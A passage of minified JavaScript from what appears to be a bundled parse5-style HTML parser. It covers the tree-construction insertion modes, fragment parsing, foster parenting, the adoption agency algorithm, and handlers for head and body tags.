h1.CHARACTER_TOKEN]:Qp,[h1.NULL_CHARACTER_TOKEN]:Qp,[h1.WHITESPACE_CHARACTER_TOKEN]:Qp,[h1.COMMENT_TOKEN]:D_,[h1.DOCTYPE_TOKEN]:KY,[h1.START_TAG_TOKEN]:WUY,[h1.END_TAG_TOKEN]:DUY,[h1.EOF_TOKEN]:Fp},["IN_ROW_MODE"]:{[h1.CHARACTER_TOKEN]:Qp,[h1.NULL_CHARACTER_TOKEN]:Qp,[h1.WHITESPACE_CHARACTER_TOKEN]:Qp,[h1.COMMENT_TOKEN]:D_,[h1.DOCTYPE_TOKEN]:KY,[h1.START_TAG_TOKEN]:jUY,[h1.END_TAG_TOKEN]:MUY,[h1.EOF_TOKEN]:Fp},["IN_CELL_MODE"]:{[h1.CHARACTER_TOKEN]:zZ1,[h1.NULL_CHARACTER_TOKEN]:KY,[h1.WHITESPACE_CHARACTER_TOKEN]:_5A,[h1.COMMENT_TOKEN]:D_,[h1.DOCTYPE_TOKEN]:KY,[h1.START_TAG_TOKEN]:PUY,[h1.END_TAG_TOKEN]:VUY,[h1.EOF_TOKEN]:Fp},["IN_SELECT_MODE"]:{[h1.CHARACTER_TOKEN]:Lf,[h1.NULL_CHARACTER_TOKEN]:KY,[h1.WHITESPACE_CHARACTER_TOKEN]:Lf,[h1.COMMENT_TOKEN]:D_,[h1.DOCTYPE_TOKEN]:KY,[h1.START_TAG_TOKEN]:Zk7,[h1.END_TAG_TOKEN]:Wk7,[h1.EOF_TOKEN]:Fp},["IN_SELECT_IN_TABLE_MODE"]:{[h1.CHARACTER_TOKEN]:Lf,[h1.NULL_CHARACTER_TOKEN]:KY,[h1.WHITESPACE_CHARACTER_TOKEN]:Lf,[h1.COMMENT_TOKEN]:D_,[h1.DOCTYPE_TOKEN]:KY,[h1.START_TAG_TOKEN]:fUY,[h1.END_TAG_TOKEN]:NUY,[h1.EOF_TOKEN]:Fp},["IN_TEMPLATE_MODE"]:{[h1.CHARACTER_TOKEN]:zZ1,[h1.NULL_CHARACTER_TOKEN]:KY,[h1.WHITESPACE_CHARACTER_TOKEN]:_5A,[h1.COMMENT_TOKEN]:D_,[h1.DOCTYPE_TOKEN]:KY,[h1.START_TAG_TOKEN]:TUY,[h1.END_TAG_TOKEN]:vUY,[h1.EOF_TOKEN]:Dk7},["AFTER_BODY_MODE"]:{[h1.CHARACTER_TOKEN]:JZ1,[h1.NULL_CHARACTER_TOKEN]:JZ1,[h1.WHITESPACE_CHARACTER_TOKEN]:_5A,[h1.COMMENT_TOKEN]:GQY,[h1.DOCTYPE_TOKEN]:KY,[h1.START_TAG_TOKEN]:EUY,[h1.END_TAG_TOKEN]:kUY,[h1.EOF_TOKEN]:mmA},["IN_FRAMESET_MODE"]:{[h1.CHARACTER_TOKEN]:KY,[h1.NULL_CHARACTER_TOKEN]:KY,[h1.WHITESPACE_CHARACTER_TOKEN]:Lf,[h1.COMMENT_TOKEN]:D_,[h1.DOCTYPE_TOKEN]:KY,[h1.START_TAG_TOKEN]:CUY,[h1.END_TAG_TOKEN]:LUY,[h1.EOF_TOKEN]:mmA},["AFTER_FRAMESET_MODE"]:{[h1.CHARACTER_TOKEN]:KY,[h1.NULL_CHARACTER_TOKEN]:KY,[h1.WHITESPACE_CHARACTER_TOKEN]:Lf,[h1.COMMENT_TOKEN]:D_,[h1.DOCTYPE_TOKEN]:KY,[h1.START_TAG_TOKEN]:RUY,[h1.END_TAG_TOKEN]:yUY,[h1.EOF_TOKEN]:mmA},["AFTER_AFTER_BODY_MODE"]:{[h1.CHARACTER_TOKEN]:wZ1,[h1.NULL_CHARACTER_TOKEN]:wZ1,[h1.WHITESPACE_CHARACTER_TOKEN]:_5A,[h1.COMMENT_TOKEN]:Yk7,[h1.DOCTYPE_TOKEN]:KY,[h1.START_TAG_TOKEN]:IUY,[h1.END_TAG_TOKEN]:wZ1,[h1.EOF_TOKEN]:mmA},["AFTER_AFTER_FRAMESET_MODE"]:{[h1.CHARACTER_TOKEN]:KY,[h1.NULL_CHARACTER_TOKEN]:KY,[h1.WHITESPACE_CHARACTER_TOKEN]:_5A,[h1.COMMENT_TOKEN]:Yk7,[h1.DOCTYPE_TOKEN]:KY,[h1.START_TAG_TOKEN]:SUY,[h1.END_TAG_TOKEN]:KY,[h1.EOF_TOKEN]:mmA}};class Gk7{constructor(A){if(this.options=KQY(YQY,A),this.treeAdapter=this.options.treeAdapter,this.pendingScript=null,this.options.sourceCodeLocationInfo)Ak7.install(this,tFY);if(this.options.onParseError)Ak7.install(this,eFY,{onParseError:this.options.onParseError})}parse(A){let K=this.treeAdapter.createDocument();return this._bootstrap(K,null),this.tokenizer.write(A,!0),this._runParsingLoop(null),K}parseFragment(A,K){if(!K)K=this.treeAdapter.createElement(kA.TEMPLATE,g7.HTML,[]);let q=this.treeAdapter.createElement("documentmock",g7.HTML,[]);if(this._bootstrap(q,K),this.treeAdapter.getTagName(K)===kA.TEMPLATE)this._pushTmplInsertionMode("IN_TEMPLATE_MODE");this._initTokenizerForFragmentParsing(),this._insertFakeRootElement(),this._resetInsertionMode(),this._findFormInFragmentContext(),this.tokenizer.write(A,!0),this._runParsingLoop(null);let Y=this.treeAdapter.getFirstChild(q),z=this.treeAdapter.createDocumentFragment();return this._adoptNodes(Y,z),z}_bootstrap(A,K){this.tokenizer=new h1(this.options),this.stopped=!1,this.insertionMode="INITIAL_MODE",this.originalInsertionMode="",this.document=A,this.fragmentContext=K,this.headElement=null,this.formElement=null,this.openElements=new sFY(this.document,this.treeAdapter),this.activeFormattingElements=new eE7(this.treeAdapter),this.tmplInsertionModeStack=[],this.tmplInsertionModeStackTop=-1,this.currentTmplInsertionMode=null,this.pendingCharacterTokens=[],this.hasNonWhitespacePendingCharacterToken=!1,this.framesetOk=!0,this.skipNextNewLine=!1,this.fosterParentingEnabled=!1}_err(){}_runParsingLoop(A){while(!this.stopped){this._setupTokenizerCDATAMode();let K=this.tokenizer.getNextToken();if(K.type===h1.HIBERNATION_TOKEN)break;if(this.skipNextNewLine){if(this.skipNextNewLine=!1,K.type===h1.WHITESPACE_CHARACTER_TOKEN&&K.chars[0]===` `){if(K.chars.length===1)continue;K.chars=K.chars.substr(1)}}if(this._processInputToken(K),A&&this.pendingScript)break}}runParsingLoopForCurrentChunk(A,K){if(this._runParsingLoop(K),K&&this.pendingScript){let q=this.pendingScript;this.pendingScript=null,K(q);return}if(A)A()}_setupTokenizerCDATAMode(){let A=this._getAdjustedCurrentElement();this.tokenizer.allowCDATA=A&&A!==this.document&&this.treeAdapter.getNamespaceURI(A)!==g7.HTML&&!this._isIntegrationPoint(A)}_switchToTextParsing(A,K){this._insertElement(A,g7.HTML),this.tokenizer.state=K,this.originalInsertionMode=this.insertionMode,this.insertionMode="TEXT_MODE"}switchToPlaintextParsing(){this.insertionMode="TEXT_MODE",this.originalInsertionMode="IN_BODY_MODE",this.tokenizer.state=h1.MODE.PLAINTEXT}_getAdjustedCurrentElement(){return this.openElements.stackTop===0&&this.fragmentContext?this.fragmentContext:this.openElements.current}_findFormInFragmentContext(){let A=this.fragmentContext;do{if(this.treeAdapter.getTagName(A)===kA.FORM){this.formElement=A;break}A=this.treeAdapter.getParentNode(A)}while(A)}_initTokenizerForFragmentParsing(){if(this.treeAdapter.getNamespaceURI(this.fragmentContext)===g7.HTML){let A=this.treeAdapter.getTagName(this.fragmentContext);if(A===kA.TITLE||A===kA.TEXTAREA)this.tokenizer.state=h1.MODE.RCDATA;else if(A===kA.STYLE||A===kA.XMP||A===kA.IFRAME||A===kA.NOEMBED||A===kA.NOFRAMES||A===kA.NOSCRIPT)this.tokenizer.state=h1.MODE.RAWTEXT;else if(A===kA.SCRIPT)this.tokenizer.state=h1.MODE.SCRIPT_DATA;else if(A===kA.PLAINTEXT)this.tokenizer.state=h1.MODE.PLAINTEXT}}_setDocumentType(A){let K=A.name||"",q=A.publicId||"",Y=A.systemId||"";this.treeAdapter.setDocumentType(this.document,K,q,Y)}_attachElementToTree(A){if(this._shouldFosterParentOnInsertion())this._fosterParentElement(A);else{let K=this.openElements.currentTmplContent||this.openElements.current;this.treeAdapter.appendChild(K,A)}}_appendElement(A,K){let q=this.treeAdapter.createElement(A.tagName,K,A.attrs);this._attachElementToTree(q)}_insertElement(A,K){let q=this.treeAdapter.createElement(A.tagName,K,A.attrs);this._attachElementToTree(q),this.openElements.push(q)}_insertFakeElement(A){let K=this.treeAdapter.createElement(A,g7.HTML,[]);this._attachElementToTree(K),this.openElements.push(K)}_insertTemplate(A){let K=this.treeAdapter.createElement(A.tagName,g7.HTML,A.attrs),q=this.treeAdapter.createDocumentFragment();this.treeAdapter.setTemplateContent(K,q),this._attachElementToTree(K),this.openElements.push(K)}_insertFakeRootElement(){let A=this.treeAdapter.createElement(kA.HTML,g7.HTML,[]);this.treeAdapter.appendChild(this.openElements.current,A),this.openElements.push(A)}_appendCommentNode(A,K){let q=this.treeAdapter.createCommentNode(A.data);this.treeAdapter.appendChild(K,q)}_insertCharacters(A){if(this._shouldFosterParentOnInsertion())this._fosterParentText(A.chars);else{let K=this.openElements.currentTmplContent||this.openElements.current;this.treeAdapter.insertText(K,A.chars)}}_adoptNodes(A,K){for(let q=this.treeAdapter.getFirstChild(A);q;q=this.treeAdapter.getFirstChild(A))this.treeAdapter.detachNode(q),this.treeAdapter.appendChild(K,q)}_shouldProcessTokenInForeignContent(A){let K=this._getAdjustedCurrentElement();if(!K||K===this.document)return!1;let q=this.treeAdapter.getNamespaceURI(K);if(q===g7.HTML)return!1;if(this.treeAdapter.getTagName(K)===kA.ANNOTATION_XML&&q===g7.MATHML&&A.type===h1.START_TAG_TOKEN&&A.tagName===kA.SVG)return!1;let Y=A.type===h1.CHARACTER_TOKEN||A.type===h1.NULL_CHARACTER_TOKEN||A.type===h1.WHITESPACE_CHARACTER_TOKEN;if((A.type===h1.START_TAG_TOKEN&&A.tagName!==kA.MGLYPH&&A.tagName!==kA.MALIGNMARK||Y)&&this._isIntegrationPoint(K,g7.MATHML))return!1;if((A.type===h1.START_TAG_TOKEN||Y)&&this._isIntegrationPoint(K,g7.HTML))return!1;return A.type!==h1.EOF_TOKEN}_processToken(A){qk7[this.insertionMode][A.type](this,A)}_processTokenInBodyMode(A){qk7.IN_BODY_MODE[A.type](this,A)}_processTokenInForeignContent(A){if(A.type===h1.CHARACTER_TOKEN)bUY(this,A);else if(A.type===h1.NULL_CHARACTER_TOKEN)hUY(this,A);else if(A.type===h1.WHITESPACE_CHARACTER_TOKEN)Lf(this,A);else if(A.type===h1.COMMENT_TOKEN)D_(this,A);else if(A.type===h1.START_TAG_TOKEN)xUY(this,A);else if(A.type===h1.END_TAG_TOKEN)uUY(this,A)}_processInputToken(A){if(this._shouldProcessTokenInForeignContent(A))this._processTokenInForeignContent(A);else this._processToken(A);if(A.type===h1.START_TAG_TOKEN&&A.selfClosing&&!A.ackSelfClosing)this._err(WW.nonVoidHtmlElementStartTagWithTrailingSolidus)}_isIntegrationPoint(A,K){let q=this.treeAdapter.getTagName(A),Y=this.treeAdapter.getNamespaceURI(A),z=this.treeAdapter.getAttrList(A);return jB.isIntegrationPoint(q,Y,z,K)}_reconstructActiveFormattingElements(){let A=this.activeFormattingElements.length;if(A){let K=A,q=null;do if(K--,q=this.activeFormattingElements.entries[K],q.type===eE7.MARKER_ENTRY||this.openElements.contains(q.element)){K++;break}while(K>0);for(let Y=K;Y<A;Y++)q=this.activeFormattingElements.entries[Y],this._insertElement(q.token,this.treeAdapter.getNamespaceURI(q.element)),q.element=this.openElements.current}}_closeTableCell(){this.openElements.generateImpliedEndTags(),this.openElements.popUntilTableCellPopped(),this.activeFormattingElements.clearToLastMarker(),this.insertionMode="IN_ROW_MODE"}_closePElement(){this.openElements.generateImpliedEndTagsWithExclusion(kA.P),this.openElements.popUntilTagNamePopped(kA.P)}_resetInsertionMode(){for(let A=this.openElements.stackTop,K=!1;A>=0;A--){let q=this.openElements.items[A];if(A===0){if(K=!0,this.fragmentContext)q=this.fragmentContext}let Y=this.treeAdapter.getTagName(q),z=zQY[Y];if(z){this.insertionMode=z;break}else if(!K&&(Y===kA.TD||Y===kA.TH)){this.insertionMode="IN_CELL_MODE";break}else if(!K&&Y===kA.HEAD){this.insertionMode="IN_HEAD_MODE";break}else if(Y===kA.SELECT){this._resetInsertionModeForSelect(A);break}else if(Y===kA.TEMPLATE){this.insertionMode=this.currentTmplInsertionMode;break}else if(Y===kA.HTML){this.insertionMode=this.headElement?"AFTER_HEAD_MODE":"BEFORE_HEAD_MODE";break}else if(K){this.insertionMode="IN_BODY_MODE";break}}}_resetInsertionModeForSelect(A){if(A>0)for(let K=A-1;K>0;K--){let q=this.openElements.items[K],Y=this.treeAdapter.getTagName(q);if(Y===kA.TEMPLATE)break;else if(Y===kA.TABLE){this.insertionMode="IN_SELECT_IN_TABLE_MODE";return}}this.insertionMode="IN_SELECT_MODE"}_pushTmplInsertionMode(A){this.tmplInsertionModeStack.push(A),this.tmplInsertionModeStackTop++,this.currentTmplInsertionMode=A}_popTmplInsertionMode(){this.tmplInsertionModeStack.pop(),this.tmplInsertionModeStackTop--,this.currentTmplInsertionMode=this.tmplInsertionModeStack[this.tmplInsertionModeStackTop]}_isElementCausesFosterParenting(A){let K=this.treeAdapter.getTagName(A);return K===kA.TABLE||K===kA.TBODY||K===kA.TFOOT||K===kA.THEAD||K===kA.TR}_shouldFosterParentOnInsertion(){return this.fosterParentingEnabled&&this._isElementCausesFosterParenting(this.openElements.current)}_findFosterParentingLocation(){let A={parent:null,beforeElement:null};for(let K=this.openElements.stackTop;K>=0;K--){let q=this.openElements.items[K],Y=this.treeAdapter.getTagName(q),z=this.treeAdapter.getNamespaceURI(q);if(Y===kA.TEMPLATE&&z===g7.HTML){A.parent=this.treeAdapter.getTemplateContent(q);break}else if(Y===kA.TABLE){if(A.parent=this.treeAdapter.getParentNode(q),A.parent)A.beforeElement=q;else A.parent=this.openElements.items[K-1];break}}if(!A.parent)A.parent=this.openElements.items[0];return A}_fosterParentElement(A){let K=this._findFosterParentingLocation();if(K.beforeElement)this.treeAdapter.insertBefore(K.parent,A,K.beforeElement);else this.treeAdapter.appendChild(K.parent,A)}_fosterParentText(A){let K=this._findFosterParentingLocation();if(K.beforeElement)this.treeAdapter.insertTextBefore(K.parent,A,K.beforeElement);else this.treeAdapter.insertText(K.parent,A)}_isSpecialElement(A){let K=this.treeAdapter.getTagName(A),q=this.treeAdapter.getNamespaceURI(A);return G5A.SPECIAL_ELEMENTS[q][K]}}jk7.exports=Gk7;function HQY(A,K){let q=A.activeFormattingElements.getElementEntryInScopeWithTagName(K.tagName);if(q){if(!A.openElements.contains(q.element))A.activeFormattingElements.removeEntry(q),q=null;else if(!A.openElements.hasInScope(K.tagName))q=null}else qS(A,K);return q}function JQY(A,K){let q=null;for(let Y=A.openElements.stackTop;Y>=0;Y--){let z=A.openElements.items[Y];if(z===K.element)break;if(A._isSpecialElement(z))q=z}if(!q)A.openElements.popUntilElementPopped(K.element),A.activeFormattingElements.removeEntry(K);return q}function OQY(A,K,q){let Y=K,z=A.openElements.getCommonAncestor(K);for(let w=0,H=z;H!==q;w++,H=z){z=A.openElements.getCommonAncestor(H);let J=A.activeFormattingElements.getElementEntry(H),O=J&&w>=3;if(!J||O){if(O)A.activeFormattingElements.removeEntry(J);A.openElements.remove(H)}else{if(H=XQY(A,J),Y===K)A.activeFormattingElements.bookmark=J;A.treeAdapter.detachNode(Y),A.treeAdapter.appendChild(H,Y),Y=H}}return Y}function XQY(A,K){let q=A.treeAdapter.getNamespaceURI(K.element),Y=A.treeAdapter.createElement(K.token.tagName,q,K.token.attrs);return A.openElements.replace(K.element,Y),K.element=Y,Y}function $QY(A,K,q){if(A._isElementCausesFosterParenting(K))A._fosterParentElement(q);else{let Y=A.treeAdapter.getTagName(K),z=A.treeAdapter.getNamespaceURI(K);if(Y===kA.TEMPLATE&&z===g7.HTML)K=A.treeAdapter.getTemplateContent(K);A.treeAdapter.appendChild(K,q)}}function _QY(A,K,q){let Y=A.treeAdapter.getNamespaceURI(q.element),z=q.token,w=A.treeAdapter.createElement(z.tagName,Y,z.attrs);A._adoptNodes(K,w),A.treeAdapter.appendChild(K,w),A.activeFormattingElements.insertElementAfterBookmark(w,q.token),A.activeFormattingElements.removeEntry(q),A.openElements.remove(q.element),A.openElements.insertAfter(K,w)}function Es(A,K){let q;for(let Y=0;Y<8;Y++){if(q=HQY(A,K,q),!q)break;let z=JQY(A,q);if(!z)break;A.activeFormattingElements.bookmark=q;let w=OQY(A,z,q.element),H=A.openElements.getCommonAncestor(q.element);A.treeAdapter.detachNode(w),$QY(A,H,w),_QY(A,z,q)}}function KY(){}function YZ1(A){A._err(WW.misplacedDoctype)}function D_(A,K){A._appendCommentNode(K,A.openElements.currentTmplContent||A.openElements.current)}function GQY(A,K){A._appendCommentNode(K,A.openElements.items[0])}function Yk7(A,K){A._appendCommentNode(K,A.document)}function Lf(A,K){A._insertCharacters(K)}function mmA(A){A.stopped=!0}function ZQY(A,K){A._setDocumentType(K);let q=K.forceQuirks?G5A.DOCUMENT_MODE.QUIRKS:Kk7.getDocumentMode(K);if(!Kk7.isConforming(K))A._err(WW.nonConformingDoctype);A.treeAdapter.setDocumentMode(A.document,q),A.insertionMode="BEFORE_HTML_MODE"}function gmA(A,K){A._err(WW.missingDoctype,{beforeToken:!0}),A.treeAdapter.setDocumentMode(A.document,G5A.DOCUMENT_MODE.QUIRKS),A.insertionMode="BEFORE_HTML_MODE",A._processToken(K)}function WQY(A,K){if(K.tagName===kA.HTML)A._insertElement(K,g7.HTML),A.insertionMode="BEFORE_HEAD_MODE";else QmA(A,K)}function DQY(A,K){let q=K.tagName;if(q===kA.HTML||q===kA.HEAD||q===kA.BODY||q===kA.BR)QmA(A,K)}function QmA(A,K){A._insertFakeRootElement(),A.insertionMode="BEFORE_HEAD_MODE",A._processToken(K)}function jQY(A,K){let q=K.tagName;if(q===kA.HTML)Rf(A,K);else if(q===kA.HEAD)A._insertElement(K,g7.HTML),A.headElement=A.openElements.current,A.insertionMode="IN_HEAD_MODE";else UmA(A,K)}function MQY(A,K){let q=K.tagName;if(q===kA.HEAD||q===kA.BODY||q===kA.HTML||q===kA.BR)UmA(A,K);else A._err(WW.endTagWithoutMatchingOpenElement)}function UmA(A,K){A._insertFakeElement(kA.HEAD),A.headElement=A.openElements.current,A.insertionMode="IN_HEAD_MODE",A._processToken(K)}function BG(A,K){let q=K.tagName;if(q===kA.HTML)Rf(A,K);else if(q===kA.BASE||q===kA.BASEFONT||q===kA.BGSOUND||q===kA.LINK||q===kA.META)A._appendElement(K,g7.HTML),K.ackSelfClosing=!0;else if(q===kA.TITLE)A._switchToTextParsing(K,h1.MODE.RCDATA);else if(q===kA.NOSCRIPT)if(A.options.scriptingEnabled)A._switchToTextParsing(K,h1.MODE.RAWTEXT);else A._insertElement(K,g7.HTML),A.insertionMode="IN_HEAD_NO_SCRIPT_MODE";else if(q===kA.NOFRAMES||q===kA.STYLE)A._switchToTextParsing(K,h1.MODE.RAWTEXT);else if(q===kA.SCRIPT)A._switchToTextParsing(K,h1.MODE.SCRIPT_DATA);else if(q===kA.TEMPLATE)A._insertTemplate(K,g7.HTML),A.activeFormattingElements.insertMarker(),A.framesetOk=!1,A.insertionMode="IN_TEMPLATE_MODE",A._pushTmplInsertionMode("IN_TEMPLATE_MODE");else if(q===kA.HEAD)A._err(WW.misplacedStartTagForHeadElement);else pmA(A,K)}function Z5A(A,K){let q=K.tagName;if(q===kA.HEAD)A.openElements.pop(),A.insertionMode="AFTER_HEAD_MODE";else if(q===kA.BODY||q===kA.BR||q===kA.HTML)pmA(A,K);else if(q===kA.TEMPLATE)if(A.openElements.tmplCount>0){if(A.openElements.generateImpliedEndTagsThoroughly(),A.openElements.currentTagName!==kA.TEMPLATE)A._err(WW.closingOfElementWithOpenChildElements);A.openElements.popUntilTagNamePopped(kA.TEMPLATE),A.activeFormattingElements.clearToLastMarker(),A._popTmplInsertionMode(),A._resetInsertionMode()}else A._err(WW.endTagWithoutMatchingOpenElement);else A._err(WW.endTagWithoutMatchingOpenElement)}function pmA(A,K){A.openElements.pop(),A.insertionMode="AFTER_HEAD_MODE",A._processToken(K)}function PQY(A,K){let q=K.tagName;if(q===kA.HTML)Rf(A,K);else if(q===kA.BASEFONT||q===kA.BGSOUND||q===kA.HEAD||q===kA.LINK||q===kA.META||q===kA.NOFRAMES||q===kA.STYLE)BG(A,K);else if(q===kA.NOSCRIPT)A._err(WW.nestedNoscriptInHead);else dmA(A,K)}function VQY(A,K){let q=K.tagName;if(q===kA.NOSCRIPT)A.openElements.pop(),A.insertionMode="IN_HEAD_MODE";else if(q===kA.BR)dmA(A,K);else A._err(WW.endTagWithoutMatchingOpenElement)}function dmA(A,K){let q=K.type===h1.EOF_TOKEN?WW.openElementsLeftAfterEof:WW.disallowedContentInNoscriptInHead;A._err(q),A.openElements.pop(),A.insertionMode="IN_HEAD_MODE",A._processToken(K)}function fQY(A,K){let q=K.tagName;if(q===kA.HTML)Rf(A,K);else if(q===kA.BODY)A._insertElement(K,g7.HTML),A.framesetOk=!1,A.insertionMode="IN_BODY_MODE";else if(q===kA.FRAMESET)A._insertElement(K,g7.HTML),A.insertionMode="IN_FRAMESET_MODE";else if(q===kA.BASE||q===kA.BASEFONT||q===kA.BGSOUND||q===kA.LINK||q===kA.META||q===kA.NOFRAMES||q===kA.SCRIPT||q===kA.STYLE||q===kA.TEMPLATE||q===kA.TITLE)A._err(WW.abandonedHeadElementChild),A.openElements.push(A.headElement),BG(A,K),A.openElements.remove(A.headElement);else if(q===kA.HEAD)A._err(WW.misplacedStartTagForHeadElement);else cmA(A,K)}function NQY(A,K){let q=K.tagName;if(q===kA.BODY||q===kA.HTML||q===kA.BR)cmA(A,K);else if(q===kA.TEMPLATE)Z5A(A,K);else A._err(WW.endTagWithoutMatchingOpenElement)}function cmA(A,K){A._insertFakeElement(kA.BODY),A.insertionMode="IN_BODY_MODE",A._processToken(K)}function _5A(A,K){A._reconstructActiveFormattingElements(),A._insertCharacters(K)}function zZ1(A,K){A._reconstructActiveFormattingElements(),A._insertCharacters(K),A.framesetOk=!1}function TQY(A,K){if(A.openElements.tmplCount===0)A.treeAdapter.adoptAttributes(A.openElements.items[0],K.attrs)}function vQY(A,K){let q=A.openElements.tryPeekProperlyNestedBodyElement();if(q&&A.openElements.tmplCount===0)A.framesetOk=!1,A.treeAdapter.adoptAttributes(q,K.attrs)}function EQY(A,K){let q=A.openElements.tryPeekProperlyNestedBodyElement();if(A.framesetOk&&q)A.treeAdapter.detachNode(q),A.openElements.popAllUpToHtmlElement(),A._insertElement(K,g7.HTML),A.insertionMode="IN_FRAMESET_MODE"}function gp(A,K){if(A.openElements.hasInButtonScope(kA.P))A._closePElement();A._insertElement(K,g7.HTML)}function kQY(A,K){if(A.openElements.hasInButtonScope(kA.P))A._closePElement();let q=A.openElements.currentTagName;if(q===kA.H1||q===kA.H2||q===kA.H3||q===kA.H4||q===kA.H5||q===kA.H6)A.openElements.pop();A._insertElement(K,g7.HTML)}function zk7(A,K){if(A.openElements.hasInButtonScope(kA.P))A._closePElement();A._insertElement(K,g7.HTML),A.skipNextNewLine=!0,A.framesetOk=!1}function CQY(A,K){let q=A.openElements.tmplCount>0;if(!A.formElement||q){if(A.openElements.hasInButtonScope(kA.P))A._closePElement();if(A._insertElement(K,g7.HTML),!q)A.formElement=A.openElements.current}}function LQY(A,K){A.framesetOk=!1;let q=K.tagName;for(let Y=A.openElements.stackTop;Y>=0;Y--){let z=A.openElements.items[Y],w=A.treeAdapter.getTagName(z),H=null;if(q===kA.LI&&w===kA.LI)H=kA.LI;else if((q===kA.DD||q===kA.DT)&&(w===kA.DD||w===kA.DT))H=w;if(H){A.openElements.generateImpliedEndTagsWithExclusion(H),A.openElements.popUntilTagNamePopped(H);break}if(w!==kA.ADDRESS&&w!==kA.DIV&&w!==kA.P&&A._isSpecialElement(z))break}if(A.openElements.hasInButtonScope(kA.P))A._closePElement();A._insertElement(K,g7.HTML)}function RQY(A,K){if(A.openElements.hasInButtonScope(kA.P))A._closePElement();A._insertElement(K,g7.HTML),A.tokenizer.state=h1.MODE.PLAINTEXT}function yQY(A,K){if(A.openElements.hasInScope(kA.BUTTON))A.openElements.generateImpliedEndTags(),A.openElements.popUntilTagNamePopped(kA.BUTTON);A._reconstructActiveFormattingElements(),A._insertElement(K,g7.HTML),A.framesetOk=!1}function IQY(A,K){let q=A.activeFormattingElements.getElementEntryInScopeWithTagName(kA.A);if(q)Es(A,K),A.openElements.remove(q.element),A.activeFormattingElements.removeEntry(q);A._reconstructActiveFormattingElements(),A._insertElement(K,g7.HTML),A.activeFormattingElements.pushElement(A.openElements.current,K)}function cWA(A,K){A._reconstructActiveFormattingElements(),A._insertElement(K,g7.HTML),A.activeFormattingElements.pushElement(A.openElements.current,K)}function SQY(A,K){if(A._reconstructActiveFormattingElements(),A.openElements.hasInScope(kA.NOBR))Es(A,K),A._reconstructActiveFormattingElements();A._insertElement(K,g7.HTML),A.activeFormattingElements.pushElement(A.openElements.current,K)}function wk7(A,K){A._reconstructActiveFormattingElements(),A._insertElement(K,g7.HTML),A.activeFormattingElements.insertMarker(),A.framesetOk=!1}function hQY(A,K){if(A.treeAdapter.getDocumentMode(A.document)!==G5A.DOCUMENT_MODE.QUIRKS&&A.openElements.hasInButtonScope(kA.P))A._closePElement();A._insertElement(K,g7.HTML),A.framesetOk=!1,A.insertionMode="IN_TABLE_MODE"}function lWA(A,K){A._reconstructActiveFormattingElements(),A._appendElement(K,g7.HTML),A.framesetOk=!1,K.ackSelfClosing=!0}function bQY(A,K){A._reconstructActiveFormattingElements(),A._appendElement(K,g7.HTML);let q=h1.getTokenAttr(K,_k7.TYPE);if(!q||q.toLowerCase()!=="hidden")A.framesetOk=!1;K.ackSelfClosing=!0}function Hk7(A,K){A._appendElement(K,g7.HTML),K.ackSelfClosing=!0}function xQY(A,K){if(A.openElements.hasInButtonScope(kA.P))A._closePElement();A._appendElement(K,g7.HTML),A.framesetOk=!1,A.ackSelfClosing=!0}function uQY(A,K){K.tagName=kA.IMG,lWA(A,K)}function BQY(A,K){A._insertElement(K,g7.HTML),A.skipNextNewLine=!0,A.tokenizer.state=h1.MODE.RCDATA,A.originalInsertionMode=A.insertionMode,A.framesetOk=!1,A.insertionMode="TEXT_MODE"}function mQY(A,K){if(A.openElements.hasInButtonScope(kA.P))A._closePElement();A._reconstructActiveFormattingElements(),A.framesetOk=!1,A._switchToTextParsing(K,h1.MODE.RAWTEXT)}function gQY(A,K){A.framesetOk=!1,A._switchToTextParsing(K,h1.MODE.RAWTEXT)}function Jk7(A,K){A._switchToTextParsing(K,h1.MODE.RAWTEXT)}function FQY(A,K){if(A._reconstructActiveFormattingElements(),A._insertElement(K,g7.HTML),A.framesetOk=!1,A.insertionMode==="IN_TABLE_MODE"||A.insertionMode==="IN_CAPTION_MODE"||A.insertionMode==="IN_TABLE_BODY_MODE"||A.insertionMode==="IN_ROW_MODE"||A.insertionMode==="IN_CELL_MODE")A.insertionMode="IN_SELECT_IN_TABLE_MODE";else A.insertionMode="IN_SELECT_MODE"}function Ok7(A,K){if(A.openElements.currentTagName===kA.OPTION)A.openElements.pop();A._reconstructActiveFormattingElements(),A._insertElement(K,g7.HTML)}function Xk7(A,K){if(A.openElements.hasInScope(kA.RUBY))A.openElements.generateImpliedEndTags();A._insertElement(K,g7.HTML)}function QQY(A,K){if(A.openElements.hasInScope(kA.RUBY))A.openElements.generateImpliedEndTagsWithExclusion(kA.RTC);A._insertElement(K,g7.HTML)}function UQY(A,K){if(A.openElements.hasInButtonScope(kA.P))A._closePElement();A._insertElement(K,g7.HTML)}function pQY(A,K){if(A._reconstructActiveFormattingElements(),jB.adjustTokenMathMLAttrs(K),jB.adjustTokenXMLAttrs(K),K.selfClosing)A._appendElement(K,g7.MATHML);else A._insertElement(K,g7.MATHML);K.ackSelfClosing=!0}function dQY(A,K){if(A._reconstructActiveFormattingElements(),jB.adjustTokenSVGAttrs(K),jB.adjustTokenXMLAttrs(K),K.selfClosing)A._appendElement(K,g7.SVG);else A._insertElement(K,g7.SVG);K.ackSelfClosing=!0}function KL(A,K){A._reconstructActiveFormattingElements(),A._insertElement(K,g7.HTML)}function Rf(A,K){let q=K.tagName;switch(q.length){case 1:if(q===kA.I||q===kA.S||q===kA.B||q===kA.U)cWA(A,K);else if(q===kA.P)gp(A,K);else if(q===kA.A)IQY(A,K);else KL(A,K);break;case 2:if(q===kA.DL||q===kA.OL||q===kA.UL)gp(A,K);else if(q===kA.H1||q===kA.H2||q===kA.H3||q===kA.H4||q===kA.H5||q===kA.H6)kQY(A,K);else if(q===kA.LI||q===kA.DD||q===kA.DT)LQY(A,K);else if(q===kA.EM||q===kA.TT)cWA(A,K);else if(q===kA.BR)lWA(A,K);else if(q===kA.HR)xQY(A,K);else if(q===kA.RB)Xk7(A,K);else if(q===kA.RT||q===kA.RP)QQY(A,K);else if(q!==kA.TH&&q!==kA.TD&&q!==kA.TR)KL(A,K);break;case 3:if(q===kA.DIV||q===kA.DIR||q===kA.NAV)gp(A,K);else if(q===kA.PRE)zk7(A,K);else if(q===kA.BIG)cWA(A,K);else if(q===kA.IMG||q===kA.WBR)lWA(A,K);else if(q===kA.XMP)mQY(A,K);else if(q===kA.SVG)dQY(A,K);else if(q===kA.RTC)Xk7(A,K);else if(q!==kA.COL)KL(A,K);break;case 4:if(q===kA.HTML)TQY(A,K);else if(q===kA.BASE||q===kA.LINK||q===kA.META)BG(A,K);else if(q===kA.BODY)vQY(A,K);else if(q===kA.MAIN||q===kA.MENU)gp(A,K);else 